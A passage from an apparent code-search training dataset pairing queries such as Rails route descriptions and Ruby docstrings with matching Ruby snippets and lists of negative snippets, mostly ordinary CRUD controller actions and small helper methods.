"negatives"
]
]
}
}
|
POST /mergegraphs POST /mergegraphs.json
|
def create
@mergegraph = Admin::Mergegraph.new(mergegraph_params)
respond_to do |format|
if @mergegraph.save
format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully created.' }
format.json { render action: 'show', status: :created, location: @mergegraph }
else
@merge = Admin::Merge.find(@mergegraph.merge_id)
format.html { render action: 'new' }
format.json { render json: @mergegraph.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @graph = Graph.new(params[:graph])\n\n respond_to do |format|\n if @graph.save\n Action.log :controller => params[:controller], :action => params[:action], :target_id => @graph.id, :user => current_user\n format.html { redirect_to @graph, notice: 'Graph was successfully created.' }\n format.json { render json: @graph, status: :created, location: @graph }\n else\n @graph.graph_membership_graphs.build\n @graph.graph_membership_nodes.build\n format.html { render action: \"new\", :layout => !request.xhr? }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge_file(my_graph, file)\n my_graph.merge_file(file)\n puts 'Successfully Merged!'\n return true\nend",
"def destroy\n @mergegraph.destroy\n respond_to do |format|\n format.html { redirect_to admin_mergegraph_url }\n format.json { head :no_content }\n end\n end",
"def merge_graphs( graph1, graph2 )\n names1 = graph1.children.map(&:term_id)\n names2 = graph2.children.map(&:term_id)\n\n names_to_merge = names2 - names1\n names_to_merge.each do |name|\n # puts \"--- MERGING #{name} INTO #{graph1.term_id} ---\"\n new_child = graph2[name].remove_parents\n\n # replace the new_child's graph\n graph1_graph = graph1.graph\n new_child_old_raw_graph = new_child.graph.raw_graph\n new_child.graph = graph1_graph\n\n # insert new_child into the graph1_graph\n graph1_graph.add_to_graph(new_child)\n graph1.add_child(new_child)\n\n # add new_child's children into the graph1_graph\n new_child_old_raw_graph.each do |child_graph_id,child_graph_details|\n next if graph1_graph.find(child_graph_id)\n term_to_add = child_graph_details[:object]\n term_to_add.graph = graph1_graph\n graph1_graph.add_to_graph(term_to_add)\n end\n\n # add the new_child relationships into the graph1_graph\n new_child_old_raw_graph.each do |child_graph_id,child_graph_details|\n child_graph_term = graph1_graph.find(child_graph_id)\n child_graph_details[:parents].each { |parent_id| child_graph_term.add_parent( graph1_graph.find(parent_id) ) }\n child_graph_details[:children].each { |child_id| child_graph_term.add_child( graph1_graph.find(child_id) ) }\n end\n end\n\n # rinse and repeat for the children of graph1\n graph1.children.each do |child|\n merge_graphs( child, graph2[child.term_id] ) unless graph2[child.term_id].nil?\n child.lock\n end\n\n return graph1\n end",
"def merge\n authorize!(:create, Scenario)\n\n merge_params = params.permit(scenarios: [:scenario_id, :weight])\n\n merge_params[:scenarios].each do |scenario|\n authorize!(:read, Scenario.find(scenario[:scenario_id]))\n end\n\n if (merger = ScenarioMerger.from_params(merge_params)).valid?\n scenario = merger.merged_scenario\n scenario.save\n\n # redirect_to api_v3_scenario_url(scenario)\n render json: ScenarioSerializer.new(self, scenario)\n else\n render json: { errors: merger.errors }, status: 422\n end\n rescue ScenarioMerger::Error => ex\n render json: { errors: { base: [ex.message] } }, status: 400\n end",
"def update\n respond_to do |format|\n if @mergegraph.update(mergegraph_params)\n format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully updated.' }\n format.json { head :no_content }\n else\n @merge = Admin::Merge.find(@mergegraph.merge_id)\n format.html { render action: 'edit' }\n format.json { render json: @mergegraph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agent_merge = AgentMerge.new(:agent_id => params[:agent_id], :agent_merge_list_id => params[:agent_merge_list_id])\n\n respond_to do |format|\n if @agent_merge.save\n format.json { render :json => @agent_merge, :status => :created, :location => @agent_merge }\n else\n format.json { render :json => @agent_merge.errors, :status => :unprocessable_entity }\n end\n format.html { redirect_to(agent_merge_list_agents_url(params[:agent_merge_list_id], :mode =>\"add\", :page => params[:page], :query => params[:query])) }\n end\n end",
"def create\n @graph = Graph.new(graph_params)\n\n respond_to do |format|\n if @graph.save\n format.html { redirect_to @graph, notice: 'Graph was successfully created.' }\n format.json { render :show, status: :created, location: @graph }\n else\n format.html { render :new }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @graph_membership_graph = GraphMembershipGraph.new(params[:graph_membership_graph])\n\n respond_to do |format|\n if @graph_membership_graph.save\n format.html { redirect_to @graph_membership_graph, notice: 'Graph membership graph was successfully created.' }\n format.json { render json: @graph_membership_graph, status: :created, location: @graph_membership_graph }\n else\n format.html { render action: \"new\" }\n format.json { render json: @graph_membership_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service_graph = SolutionGraph.new(service_graph_params)\n\n respond_to do |format|\n if @service_graph.save\n format.html { redirect_to @service_graph, notice: 'service_graph was successfully created.' }\n format.json { render :show, status: :created, location: @service_graph }\n else\n format.html { render :new }\n format.json { render json: @service_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @graph = Graph.new(graph_params)\n\n respond_to do |format|\n if @graph.save\n format.html { redirect_to @graph, notice: 'Graph was successfully created.' }\n format.json { render action: 'show', status: :created, location: @graph }\n else\n format.html { render action: 'new' }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @graph2 = Graph2.new(graph2_params)\n\n respond_to do |format|\n if @graph2.save\n format.html { redirect_to @graph2, notice: 'Graph2 was successfully created.' }\n format.json { render :show, status: :created, location: @graph2 }\n else\n format.html { render :new }\n format.json { render json: @graph2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def graph\n data = nil\n case params[:graph]\n when \"commits_per_month\"\n data = graph_commits_per_month(@repository)\n when \"commits_per_author\"\n data = graph_commits_per_author(@repository)\n end\n if data\n render :json => data\n else\n render_404\n end\n end",
"def create\n @gauge_graph = GaugeGraph.new(gauge_graph_params)\n\n respond_to do |format|\n if @gauge_graph.save\n format.html { redirect_to edit_gauge_graph_path(@gauge_graph), notice: 'Gauge graph was successfully created.' }\n format.json { render :edit, status: :created, location: @gauge_graph }\n else\n format.html { render :new }\n format.json { render json: @gauge_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_graph(path, params)\n client(path).post_graph(service_name(path), section_name(path), graph_name(path), params)\n end",
"def new\n @series_statement_merge = SeriesStatementMerge.new\n @series_statement_merge.series_statement = @series_statement\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @series_statement_merge }\n end\n end",
"def new\n @series_statement_merge_list = SeriesStatementMergeList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @series_statement_merge_list }\n end\n end",
"def merge\n merged = Pathway.new(:merged, [], [], [])\n BioTCM.logger.info('KEGG') { \"Generating the merged network for #{inspect}\" }\n @pathways.each_value do |pathway|\n merged.genes |= pathway.genes\n merged.network |= pathway.network\n end\n merged\n end",
"def create\n @bar_graph = BarGraph.new(bar_graph_params)\n\n respond_to do |format|\n if @bar_graph.save\n format.html { redirect_to edit_bar_graph_path(@bar_graph), notice: 'Bar graph was successfully created.' }\n format.json { render :edit, status: :created, location: @bar_graph }\n else\n format.html { render :new }\n format.json { render json: @bar_graph.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /mergegraphs/1 PATCH/PUT /mergegraphs/1.json
|
def update
respond_to do |format|
if @mergegraph.update(mergegraph_params)
format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully updated.' }
format.json { head :no_content }
else
@merge = Admin::Merge.find(@mergegraph.merge_id)
format.html { render action: 'edit' }
format.json { render json: @mergegraph.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n @complex_graph = ComplexGraph.find(params[:id])\n @complex_graph.graphs = Graph.where(:id => (params[:graph] || []).map{|id,_| id })\n\n respond_to do |format|\n if @complex_graph.update_attributes(params[:complex_graph])\n format.html { redirect_to @complex_graph, :notice => 'Complex graph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render(:action => \"edit\") }\n format.json { render(:json => @complex_graph.errors, :status => :unprocessable_entity) }\n end\n end\n end",
"def update\n @graph.update_attributes_from_request(update_params)\n head :no_content\n end",
"def update\n respond_to do |format|\n if @api_v1_graph.update(api_v1_graph_params)\n format.html { redirect_to @api_v1_graph, notice: 'Graph was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_graph }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_base_graph.update(api_v1_base_graph_params)\n format.html { redirect_to @api_v1_base_graph, notice: 'Base graph was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_base_graph }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_base_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @graph = Graph.find(params[:id])\n\n respond_to do |format|\n if @graph.update_attributes(params[:graph])\n format.html { redirect_to @graph, :notice => 'Graph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @graph.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @circle_graph.update(circle_graph_params)\n format.html { redirect_to edit_circle_graph_path(@circle_graph), notice: \"Circle graph was successfully updated.\" }\n format.json { render :edit, status: :ok, location: @circle_graph }\n else\n format.html { render :edit }\n format.json { render json: @circle_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mergegraph = Admin::Mergegraph.new(mergegraph_params)\n\n respond_to do |format|\n if @mergegraph.save\n format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mergegraph }\n else\n @merge = Admin::Merge.find(@mergegraph.merge_id)\n format.html { render action: 'new' }\n format.json { render json: @mergegraph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @graph2.update(graph2_params)\n format.html { redirect_to @graph2, notice: 'Graph2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @graph2 }\n else\n format.html { render :edit }\n format.json { render json: @graph2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bar_graph.update(bar_graph_params)\n format.html { redirect_to edit_bar_graph_path(@bar_graph), notice: 'Bar graph was successfully updated.' }\n format.json { render :edit, status: :ok, location: @bar_graph }\n else\n format.html { render :edit }\n format.json { render json: @bar_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gauge_graph.update(gauge_graph_params)\n format.html { redirect_to edit_gauge_graph_path(@gauge_graph), notice: 'Gauge graph was successfully updated.' }\n format.json { render :edit, status: :ok, location: @gauge_graph }\n else\n format.html { render :edit }\n format.json { render json: @gauge_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @graph = Graph.find(params[:id])\n\n respond_to do |format|\n if @graph.update_attributes(params[:graph])\n format.html { redirect_to(@graph) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @graph.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_graph.update(service_graph_params)\n format.html { redirect_to @service_graph, notice: 'service_graph was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_graph }\n else\n format.html { render :edit }\n format.json { render json: @service_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_merge.update(merge_params)\n format.html { redirect_to @admin_merge, notice: 'Merge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_graph.update(line_graph_params)\n format.html { redirect_to edit_line_graph_path(@line_graph), notice: 'Line graph was successfully updated.' }\n format.json { render :edit, status: :ok, location: @line_graph }\n else\n format.html { render :edit }\n format.json { render json: @line_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n\n respond_to do |format|\n if @graph_membership_graph.update_attributes(params[:graph_membership_graph])\n format.html { redirect_to @graph_membership_graph, notice: 'Graph membership graph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @graph_membership_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @song_graph.update(song_graph_params)\n format.html { redirect_to @song_graph, notice: 'Song graph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @mergegraph.destroy\n respond_to do |format|\n format.html { redirect_to admin_mergegraph_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @overlap_group.update(overlap_group_params)\n format.html { redirect_to @overlap_group, notice: 'Overlap group was successfully updated.' }\n format.json { render :show, status: :ok, location: @overlap_group }\n else\n format.html { render :edit }\n format.json { render json: @overlap_group.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /mergegraphs/1 DELETE /mergegraphs/1.json
|
def destroy
@mergegraph.destroy
respond_to do |format|
format.html { redirect_to admin_mergegraph_url }
format.json { head :no_content }
end
end
|
[
"def destroy\n @graph = Graph.find(params[:id], :select => \"id\")\n @graph.destroy\n\n respond_to do |format|\n format.html { redirect_to(graphs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @graph.destroy\n\n respond_to do |format|\n format.html { redirect_to graphs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_base_graph.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_base_graphs_url, notice: 'Base graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_graph.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_graphs_url, notice: 'Graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n @graph_membership_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to graph_membership_graphs_url }\n format.json { head :no_content }\n end\n end",
"def delete_graph(path)\n client(path).delete_graph(service_name(path), section_name(path), graph_name(path))\n end",
"def delete_graph_by_id(id)\n post_query(\"/json/delete/graph/#{id}\")\n end",
"def destroy\n @series_statement_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(series_statement_merges_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @circle_graph.destroy\n respond_to do |format|\n format.html { redirect_to circle_graphs_url, notice: \"Circle graph was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @complex_graph = ComplexGraph.find(params[:id])\n @complex_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to url_for(:controller=>:service, :action => :index) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conditioninfograph = Conditioninfograph.find(params[:id])\n @conditioninfograph.destroy\n\n respond_to do |format|\n format.html { redirect_to conditioninfographs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_graph.destroy\n respond_to do |format|\n format.html { redirect_to line_graphs_url, notice: 'Line graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agent_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(agent_merges_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_graph.destroy\n respond_to do |format|\n format.html { redirect_to service_graphs_url, notice: 'service_graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gauge_graph.destroy\n respond_to do |format|\n format.html { redirect_to gauge_graphs_url, notice: 'Gauge graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_merge.destroy\n respond_to do |format|\n format.html { redirect_to admin_merges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bar_graph.destroy\n respond_to do |format|\n format.html { redirect_to bar_graphs_url, notice: 'Bar graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @merge = Merge.find(params[:id])\n @merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(merges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expression_merge = ExpressionMerge.find(params[:id])\n @expression_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(expression_merges_url) }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Redefines an object's method with a Command of the same name.
|
def redefine_command(obj, command)
cmd_block = redefine_command_block(obj, command)
@no_option_commands << command if command.options.nil?
[command.name, command.alias].compact.each {|e|
obj.singleton_class.send(:define_method, e, cmd_block)
}
rescue Error
warn "Error: #{$!.message}"
end
|
[
"def redefine_command(obj, command)\n cmd_block = redefine_command_block(obj, command)\n @no_option_commands << command if command.options.nil?\n [command.name, command.alias].compact.each {|e|\n obj.instance_eval(\"class<<self;self;end\").send(:define_method, e, cmd_block)\n }\n end",
"def find_and_refresh_command(name) #:nodoc:\n if commands[name.to_s]\n commands[name.to_s]\n elsif command = all_commands[name.to_s] # rubocop:disable AssignmentInCondition\n commands[name.to_s] = command.clone\n else\n raise ArgumentError,\n \"You supplied :for => #{name.inspect}, but the command \" \\\n \"#{name.inspect} could not be found.\"\n end\n end",
"def find_and_refresh_command(name) #:nodoc:\n if commands[name.to_s]\n commands[name.to_s]\n elsif command = all_commands[name.to_s] # rubocop:disable AssignmentInCondition\n commands[name.to_s] = command.clone\n else\n raise ArgumentError, \"You supplied :for => #{name.inspect}, but the command #{name.inspect} could not be found.\"\n end\n end",
"def create_command(meth); end",
"def create_command(meth) #:nodoc:\n end",
"def add_command(meth)\n @@commands.delete(:help)\n \n if @@attribute\n argument_list = \"value\"\n meth = meth.to_s.delete(\"=\").to_sym if @@attribute == :attr_writer\n else\n argument_list = parse_arguments(@@command_options[:parameters])\n end\n @@command_options.merge!(:argument_list=>argument_list,:class => self.name)\n \n @@commands.merge!(meth => @@command_options)\n @@default_method = {meth => @@command_options} if @@command_options[:default]\n\n @@commands.sort.each {|com| @@commands.merge!(com[0]=>@@commands.delete(com[0]))}\n \n @@commands.merge!(HELP_COMMAND.dup) # makes sure the help command is always last\n @@command_options = nil\n @@attribute = nil\n end",
"def create_command(meth) #:nodoc:\n end",
"def add_command(command)\n @commands << command\n command.base = self\n end",
"def set_command\n raise NotImplementedError.new(\"Implement set_command() in your Job subclass\") unless command\n end",
"def commandalias(command, a)\r\n\t\t\t@commands[a] = @commands[command]\r\n\t\tend",
"def command!\n @command = true\n end",
"def method_missing(name, *args, &block)\n __add__(DSL.commands[name], *args, &block)\n end",
"def add_original_commands; end",
"def redefine_method(method, &block); end",
"def get_command_method_symbol(command_name)\n return if command_name.nil?\n\n self.class.instance_methods.select { |s| s.to_s.eql?('do_' + command_name) }[0]\n end",
"def add_command command\n @commands[command.name] = command\n end",
"def original_name\n @method.original_name or raise CommandError, \"Pry can only patch methods created with the `def` keyword.\"\n end",
"def default_command(command)\n @@default_command = command.to_sym\n end",
"def original_name\n @method.original_name or raise CommandError, \"Pry can only patch methods created with the `def` keyword.\"\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns hash of methods for an object
|
def object_methods(obj)
@object_methods[obj] ||= {}
end
|
[
"def to_hash\n hash = {}\n\n self.singleton_methods.each do |method|\n hash[method] = self.send method\n end\n\n hash\n end",
"def define_hash_method(methods)\n define_method(:hash) do\n self.class.hash ^ methods.map { |method| send(method).hash }.inject(:^)\n end\n end",
"def define_hash_method\n module_eval <<-RUBY, __FILE__, __LINE__ + 1\n def hash\n self.class.hash ^ #{keys.map { |key| \"#{key}.hash\" }.join(' ^ ')}\n end\n RUBY\n end",
"def to_h\n (self.class.instance_methods(false) - [__callee__]).each_with_object({}) do |method, acc|\n acc[method] = public_send method\n end\n end",
"def hash(*) end",
"def instance_methods\n all_methods().find_all{|m| (!m.singleton) && (@options.show_all || m.visibility == :public || m.visibility == :protected)}.collect{|m| method_hash(m)}\n end",
"def to_hash(obj=nil, methods:[], recursive: false, check: false, compact: false)\n\t\t\treturn {} if obj.nil?\n\t\t\tobj||=self\n\t\t\tstack=[*obj]\n\t\t\tprocessed=[]\n\t\t\tklass=stack.first.class\n\t\t\th={}\n\t\t\twhile !stack.empty?\n\t\t\t\tobj=stack.shift\n\t\t\t\tnext if processed.include?(obj)\n\t\t\t\tprocessed << obj\n\t\t\t\tattributes={}\n\t\t\t\tmethods.each do |m|\n\t\t\t\t\tnext if check and !obj.respond_to? m\n\t\t\t\t\tv=obj.public_send(m)\n\t\t\t\t\tattributes[m]=v\n\t\t\t\t\tif recursive\n\t\t\t\t\t\tvals=v.kind_of?(Enumerable) ? v.to_a.flatten : [v]\n\t\t\t\t\t\tvals.select! {|v| v.kind_of?(klass)}\n\t\t\t\t\t\tstack.concat(vals)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tattributes=attributes.values.first if compact and attributes.keys.length == 1\n\t\t\t\th[obj]=attributes\n\t\t\tend\n\t\t\th\n\t\tend",
"def unique_methods\n methods - self.class.methods\n end",
"def get_methods(obj)\n meths = obj.methods.grep(/impl/)\n meths.map { |m| m.to_s.gsub('impl_', '') + '!' }\n end",
"def hash\n ([self.class.const_get(:NAME)] + operands).hash\n end",
"def attr_hash\n md5 = Digest::MD5.new\n @ruby_types.each do |k,typ|\n md5.update typ.attr_hash\n end\n md5.hexdigest\n end",
"def to_hash( *args )\n h = {}\n args = [ args ].flatten\n args = self.collected_stats if args.empty?\n args.each do |meth|\n h[meth] = self.send( meth )\n end\n return h\n end",
"def hash\n strs = FIELDS.collect {|f| \"#{f}:#{send(f).inspect}\"}\n Digest::SHA256.hexdigest(strs.join(' '))\n end",
"def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end",
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def class_methods\n all_methods().find_all{|m| m.singleton && (@options.show_all || m.visibility == :public || m.visibility == :protected)}.collect{|m| method_hash(m)}\n end",
"def record_methods_for_eigenclass(object)\n @seen[object] = true\n return unless eigenclass = get_eigenclass(object)\n\n our_public_methods = eigenclass.public_instance_methods(false)\n our_protected_methods = eigenclass.protected_instance_methods(false)\n our_private_methods = eigenclass.private_instance_methods(false)\n\n ancestor_methods = Hash.new\n [:public, :protected, :private].each do |method_type|\n ancestor_methods[method_type] = eigenclass.ancestors.map do |ancestor|\n ancestor.send(\"#{method_type}_instance_methods\", false)\n end.flatten.uniq\n end\n \n record_result(object, \n :public => our_public_methods - ancestor_methods[:public],\n :protected => our_protected_methods - ancestor_methods[:protected],\n :private => our_private_methods - ancestor_methods[:private]\n )\n \n scan_modules(:eigenclass, object)\n end",
"def define_hash_method\n keys = @keys\n define_method(:hash) do\n keys.map { |key| send(key) }.push(self.class).hash\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
option command for given command
|
def option_command(cmd=@command)
@option_commands[cmd] ||= OptionCommand.new(cmd)
end
|
[
"def option(command_option)\n self << \" -#{command_option}\"\n self\n end",
"def opt(command_option)\n self << \" --#{command_option}\"\n self\n end",
"def find_command(option)\n @commands.find { |cmd| cmd.short == option or cmd.extended == option }\n end",
"def treat_as_option doption\n option = nil\n valeur = nil\n if doption.start_with? '--'\n doption.gsub(/^--([^=]+)=?(.*)?$/){\n option = $1\n valeur = $2\n }\n else\n option_courte = doption[1..1]\n option = OPTION_LIST[option_courte]\n fatal_error(:unknown_option, :option => option_courte) if option.nil?\n valeur = doption[2..-1]\n end\n # Est-ce que c'est une \"option-command\"\n if OPTION_COMMAND_LIST.has_key? option\n @@command = option\n else\n @@options = @@options.merge option => valeur\n end\n end",
"def find_option(command, name)\n while command && (option = command.__grammar__[name]).nil?\n command = command.__supercommand__\n end\n option or error \"Unknown option '#{name}'\"\n [command, option]\n end",
"def option_command?\n options || @option_command\n end",
"def set_command_options(parser); end",
"def add_option(cmd, method_name)\n if (value = new_resource.send(method_name))\n flag_name = method_name.tr('_', '-')\n cmd << \"--#{flag_name} #{value}\"\n else\n cmd\n end\nend",
"def command(*args)\n opts.command(*args)\n end",
"def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end",
"def command_options(arg=nil)\n @command_options ||= default_options(match)\n @command_options.merge!(arg) if arg\n @command_options\n end",
"def command_run_options(c, str_opts)\n c.option '-c', '--categories [string]', String, str_opts.categories\n c.option '-d', '--dl-method [string]', String, str_opts.dl_method\n c.option '-n', '--number [integer]', Integer, str_opts.number\n c.option '-p', '--player [string]', String, str_opts.player\n c.option '-r', '--rng [string]', String, str_opts.rng\n end",
"def stop_on_unknown_option?(command_name); end",
"def command_options\n @command_options\n end",
"def configure_command(cmd)\n end",
"def cli_command(command)\n do_action({:action => :command, :command => command})\n end",
"def do_option(opt, value)\n case opt\n when '--help'\n help\n exit\n when '--config'\n options.config_file = value\n when '--query'\n options.query = value\n when '--version'\n exit\n else\n fail \"Unknown option: #{opt}\"\n end \n end",
"def cli_options(parser); end",
"def cmdCvrtExecutor(option)\n txtArray = option.match(/-(.*)/)\n if txtArray.nil? #Extract the option string except hyphen\n return false # if there be no match, return to main to continue\n else\n optionString = txtArray[1]\n if optionString =~ /^fd:xlsq-sq:sq-nsq$/i\n puts \"\\nRun Findump conversion from XL to SQL and SQL to NoSQL\\n\"\n obj = ConvertAsWhole.new()\n obj.convertAndWrite()\n elsif optionString =~ /^bd:sq-nsq$/i\n puts \"\\nRun Findump Snap Shot conversion from SQL to NoSQL\\n\"\n obj = ConvertAsWhole.new()\n obj.convertAsSnapshotAndWrite()\n elsif optionString =~ /^fd:xlsq-init$/i\n puts \"\\nRun Initializing SQL/NoSQL Datasource \\n\"\n obj = ConvertAsWhole.new()\n obj.cleanInit()\n else\n return false # if not the option string match, return to main to continue\n end # End of option checking and execution of respective methods\n return true\n end # End of If to extract option string\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
A name is valid is if satisfies all of the following: contains at least a first name and last name, separated by spaces each part of the name should be capitalized Hint: use str.upcase or str.downcase "a".upcase => "A"
|
def is_valid_name(str)
str_arr = str.split
check = []
str_arr.each do |ele|
formatted = ele[0].upcase + ele[1..-1].downcase
check << formatted
end
if check.length < 2 || check.join(" ") != str
return false
else
return true
end
end
|
[
"def is_valid_name(str)\n \n parts = str.split(\" \")\n \n if parts.length <= 1\n return false\n end\n \n # now we need to check that each part is properly capitalized\n parts.each do |part|\n if !is_proper(part)\n return false\n end\n end\n\n return true\nend",
"def user_name_format\n name_array = name.split(/ |'|-/)\n first = true\n errors.add(name_format_error, I18n.t('users.need_first_and_last')) if (name_array.size < 2) # \" - Must include first and last name.\"\n name_array.each do |piece|\n errors.add(name_format_error, I18n.t('users.first_name_capital')) if (first && (!(piece =~ /\\A[A-Z][a-z]*\\Z/))) # \" - First name must start with a capital and only contain letters.\"\n errors.add(name_format_error, I18n.t('users.letters_only')) if ((!first) && (!(piece =~ /\\A[A-z]*\\Z/))) # \" - Name must only contain letters.\"\n first = false\n end\n end",
"def is_valid_name(str)\n parts = str.split(\" \")\n \n # length check\n if parts.length < 2\n return false\n end \n\n # capitalization check\n \n parts.each do |part|\n # 3. put the new def here\n if !is_capitalized(part) # 여기는 part여야 작동 가능. word면 오류 \n return false\n end\n \n # YOU SHOULD AVOID THIS SCENARIO \n # if is_capitalized(word)\n # return true\n # end\n end \n # 4. position of return true! \n return true\nend",
"def valid_name(string)\n output = true\n arr = string.split\n output = false unless arr.all? {|word| word == word.capitalize}\n output = false unless arr.all? {|word| word.length > 1}\n output = false if arr.count == 1\n output = false if arr.count > 3\n arr.each do |word|\n if word.length > 2\n output = false if word.end_with?(\".\")\n end\n end\n if arr.length == 3 && arr[0].length == 2\n if arr[1].length > 2\n output = false\n end\n end\n output = false if arr.last.length <= 2\n output\nend",
"def is_proper(name)\n return name == (name[0].upcase + name[1..-1].downcase)\nend",
"def valid_name(full_name)\n names = full_name.split\n\n if names.size < 2 ||\n (names[-1].size < 3 || names[-1][-1] == \".\") ||\n names.select {|name| name.size == 1}.count > 0 ||\n names.select {|name| name[0] == name[0].downcase}.count > 0 ||\n (names.size > 2 && names[0].size == 2 && names[1].size > 2 && names[0][-1] == \".\")\n return false\n end\n\n names\nend",
